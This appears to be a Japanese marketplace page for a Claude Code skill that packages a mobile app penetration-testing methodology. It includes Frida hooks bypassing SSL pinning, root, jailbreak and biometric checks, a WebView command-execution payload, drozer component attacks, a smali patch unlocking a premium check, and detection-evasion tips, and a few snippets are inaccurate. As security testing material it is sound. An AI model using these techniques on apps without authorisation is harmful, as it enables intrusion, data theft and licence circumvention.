mcpField
O
offensive-mobile

offensive-mobile

github.com/snailsploitセキュリティ9.7k178 回インストール2 週間前に更新
リポジトリ

offensive-mobile について

AndroidとiOSのアプリを対象とするセキュリティテスト用スキルです。静的・動的解析、攻撃面の確認、ストレージとAPIの検査、一般的な検証回避テストを一連の手順にまとめています。

主な機能

  1. 01AndroidとiOSの静的解析
  2. 02Fridaを使った動的テスト
  3. 03公開コンポーネントとディープリンクの確認
  4. 04ストレージとKeychainの監査
  5. 05モバイルAPIのセキュリティテスト
  6. 06改変と認証の検査

活用シーン

  1. 01APKやIPAに含まれる秘密情報の確認
  2. 02アプリ通信と証明書ピンニングのテスト
  3. 03ディープリンクと公開コンポーネントの評価
  4. 04モバイルストレージとバックエンドAPIの監査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-mobile

インストール後、Claude Code で/offensive-mobileを入力して読み込まれたか確認します。

詳細

モバイル(Android + iOS)— 攻撃的テストの手法

クイックワークフロー

  1. 静的解析:IPA/APK を取得し、逆コンパイルして、リソース/文字列をダンプし、エンドポイントを特定します
  2. 動的解析:root 化/脱獄済みデバイスにインストールし、Frida でフックして、TLS 通信を傍受します
  3. 公開されている攻撃対象領域を把握します:ディープリンク、URL スキーム、公開コンポーネント
  4. ストレージ/キーストアを監査します:シークレットの保存場所と保護方法を確認します
  5. API:アプリが通信するすべてのバックエンドが対象範囲です。ウェブアプリと同様にテストします

ラボのセットアップ

Android
  • root 化済みデバイス、または userdebug ビルドの Genymotion / Android Studio AVD
  • システムレス root 用の Magisk、フック用の LSPosed、デバイスのアーキテクチャに対応した Frida server
  • Magisk モジュール(MagiskTrustUserCerts)を使ってシステムが信頼する CA を設定した Burp / Mitmproxy
iOS
  • 脱獄済みデバイス(iOS のバージョンに応じて palera1n / checkra1n / Dopamine)
  • Frida + Objection + Filza + USB 経由の SSH(iproxy 2222 22)
  • 「設定」→「一般」→「デバイス管理」→「証明書信頼設定」からインストールした Burp CA

静的解析

Android
# Decode resources + smali
apktool d app.apk -o app

# Decompile to Java
jadx -d app_src app.apk

# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig
# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/   # leftover debug logs

# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions
iOS
# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"

# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app

# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA

# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions

動的解析と Frida

一般的なフック
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
  const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
  // ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});

// Bypass root detection
Java.perform(() => {
  const File = Java.use('java.io.File');
  File.exists.implementation = function () {
    const path = this.getAbsolutePath();
    if (path.includes('su') || path.includes('Magisk')) return false;
    return this.exists();
  };
});

// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
  onEnter(args) {
    const path = args[0].readUtf8String();
    if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
      args[0] = Memory.allocUtf8String('/nonexistent');
    }
  }
});
Objection(Frida ベースのショートカット)
objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump

SSL / TLS 傍受

Android Network Security Config

独自のピン留め CA を要求する <network-security-config> を備えたアプリの場合は、res/xml/network_security_config.xml を編集して再パッケージ化します:

apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk

または Frida で実行時にバイパスします(推奨 — 再コンパイル不要)。

iOS ATS / ピン留め

ピン留めを行っている場合は、SecTrustEvaluate* / NSURLSession のデリゲートメソッドに対して Frida フックを使用します。Info.plist の ATS 例外(NSAllowsArbitraryLoads)があれば、ピン留めがなくても MITM は容易です。


公開コンポーネント/IPC の攻撃対象領域

Android — 公開コンポーネント
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
    --extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets

対象:

  • exported="true" のアクティビティ → 別のアプリから呼び出して、認証を回避します
  • grantUriPermissions のない ContentProvider → 任意の読み取りが可能です
  • 特権アクションを伴う BOOT_COMPLETED などを処理するレシーバー
  • インテントの extra によってバインドされるサービス → コマンドインジェクション
インテントのリダイレクト/PendingIntent の乗っ取り
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity
iOS — URL スキーム/Universal Links
# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"

Universal Links:リンク先ドメインの apple-app-site-association を確認します。そのドメインのオープンリダイレクト → universal-link claim → アプリ内 WebView のナビゲーションにつながる可能性があります。

iOS XPC / Mach Services

launchctl list | grep com.vendor で、アプリの launch サービスを列挙できます。適切な audit-token 検証を行わない XPC ハンドラーは、あらゆるプロセスからのメッセージを受け入れます。


安全でないデータ保存

Android
# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz

確認する項目:

  • shared_prefs/*.xml — 平文で保存されている設定
  • databases/*.db — SQLite(sqlite3 でダンプ)
  • files/ — 任意の書き込み
  • cache/ と外部ストレージ(sdcard/Android/data/...)— アプリ間で読み取り可能なことがよくあります
Android Keystore の誤用
  • setUserAuthenticationRequired(true) を指定せずに作成されたキー → プロセスの実行中はいつでも使用できます
  • IV を再利用する AES-GCM(開発者が IV をハードコードしていることがよくあります)
  • 適切なパディングを使用しない RSA(PKCS1 v1.5 と OAEP の違い)
iOS Keychain
# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
#   AlwaysThisDeviceOnly  → readable when phone locked (bad for secrets)
#   WhenUnlocked          → standard
#   AlwaysThisDeviceOnly  → bypasses screen lock

iOS のデータ保護クラス:NSFileProtectionNone のファイルは、デバイスがロック中でも脱獄済みデバイス上で読み取り可能です。


WebView の脆弱性

Android addJavascriptInterface

アプリがリフレクションを実行できるオブジェクトを含む JS ブリッジを公開している場合、読み込まれたページ内の JS から任意の Java メソッドを呼び出せます。

// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
  .getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')
file:// と Content://

setAllowFileAccessFromFileURLs(true) を設定した WebView と、ユーザーが開く HTML 添付ファイルの組み合わせ → アプリがアクセスできる任意のファイルを読み取れます。

iOS WKWebView
  • WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically
  • wkScriptMessageHandler が公開されている — Android と同様に JS ブリッジに注意が必要です
  • loadFileURL と、広範なディレクトリを指定する allowingReadAccessTo によるファイル URL の読み込み

生体認証/認証のバイパス

Android BiometricPrompt

暗号操作を認証に結び付けずに BiometricPrompt を使用しているアプリは、結果コールバックへのフックによってバイパスできます。

Java.perform(() => {
  const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
  Cb.onAuthenticationSucceeded.implementation = function (r) {
    return this.onAuthenticationSucceeded(r);  // accept whatever
  };
  Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});
iOS LAContext

evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics) — アプリが生体認証に紐付けられたキーチェーン項目を使わずにブール値の結果を信頼している場合、これを偽装できます。

const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
  onEnter(args) {
    const cb = new ObjC.Block(args[4]);
    const orig = cb.implementation;
    cb.implementation = function(success, err) { orig.call(this, true, NULL); };
  }
});

開発側での修正方法は、キーチェーンで生体認証に紐付けられたキーを使うことです。上記のバイパスではキーにアクセスできません。


Firebase/クラウドの設定ミス(最も発見率が高い)

Firebase Realtime DB(今もよく見られます)

アプリから URL を取得します:

strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
# Test for unauth read
curl https://target-app.firebaseio.com/.json
# If returns data → unauth read
Firestore

ルールが allow read, write: if true; に誤設定されています。アプリの REST 呼び出しで確認できます。匿名 SDK または直接 REST でテストします。

S3/GCS/Azure Blob

API レスポンス内の署名なし URL、またはアプリのパッケージから推測可能なバケット名を確認し、パブリック読み取り、パブリック書き込み、ACL をテストします。

埋め込み API キー

Google Maps キーは適切に制限されていますか? Stripe の公開可能キーとシークレットキーは? Twilio は? AWS アクセスキーが平文で含まれているケース(今もあります)→ クラウドの乗っ取りにつながります。

truffleHog filesystem app_src/
gitleaks detect --source app_src/

モバイル API テスト

バックエンドは Web アプリと同じです。エンドポイントを抽出したら、Web/API の手法に切り替えます。モバイルに固有の点は次のとおりです。

  • デバイスに紐付いたヘッダー(X-Device-ID、X-App-Version、X-Signature)は、クライアント側で計算できることがよくあります。アルゴリズムをバイナリから取得します。
  • リクエスト署名:アプリに埋め込まれたキーを使った HMAC → 何でも署名できてしまいます。
  • "アプリ認証の背後にある"ためにレート制限を省略しているモバイル専用エンドポイント
  • 古い API バージョンがまだ稼働しているケース:新しいアプリでは廃止された /api/v1/... が、サーバーではより弱い認証のまま提供されています。
  • プッシュ通知トピック:/topics/<predictable> を購読すると、他のユーザー向けのメッセージを受信できる可能性があります(Firebase Messaging)。

アプリの改ざんと再パッケージ化

# Patch a check (e.g. premium=true)
# Smali edit
sed -i 's/return-void/const\/4 v0, 0x1\n    return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apk

商用アプリのバイパスには、元の APK を変更しないLSPosed モジュールを使用してください。再パッケージ化されたアプリを制限する署名チェックをバイパスできます。


iOS 固有の項目

Entitlements
codesign -d --entitlements - Payload/App.app/App

次を確認します:keychain-access-groups(アプリ間のキーチェーン共有)、com.apple.security.application-groups(共有コンテナ)、com.apple.developer.associated-domains(ユニバーサルリンク)、プライベート Entitlements(まれです)。

他のアプリからの URL スキーム
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];

どのアプリからでも、登録済みの任意の URL スキームを呼び出せます。呼び出し元を検証していますか?ほとんどのアプリは検証していません。

App Groups の共有コンテナ
/private/var/mobile/Containers/Shared/AppGroup/<UUID>/

同じベンダーの複数のアプリで共有されます。ここにあるシークレットはアプリの境界を越えて共有されます。


検出/防御側の視点

検出方法バイパス
Frida サーバーの検出(ポート 27042 が開いている)別のポートで frida-server を実行するか、frida -H を使用
/sbin/magisk による Magisk の検出Magisk Hide/DenyList
エミュレーターの検出実機で実行するか、Build.FINGERPRINT などをスタブ化
iOS の脱獄検出(ファイルの存在確認)Frida で stat/fopen/dlopen をフック
アンチデバッグの ptrace(PT_DENY_ATTACH)Frida-stalker ベースの手法、またはカーネルパッチ
証明書ピンニングFrida による汎用ピンニングバイパス
アプリのアテステーション(Play Integrity/DeviceCheck)難しいです。通常、サーバー側のバイパスかアプリのアテステーショントークンのリレーが必要です

エンゲージメントのチェックリスト

[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis

主要な参考資料

  • OWASP MASTG(モバイルアプリケーションセキュリティテストガイド)
  • OWASP MASVS — 検証標準
  • Frida CodeShare — すぐに使えるフックを提供する codeshare.frida.re
  • 自動トリアージ向けの mobile-security-framework/MobSF
  • ソース:https://github.com/SnailSploit/offensive-checklist/blob/main/mobile.md

コメント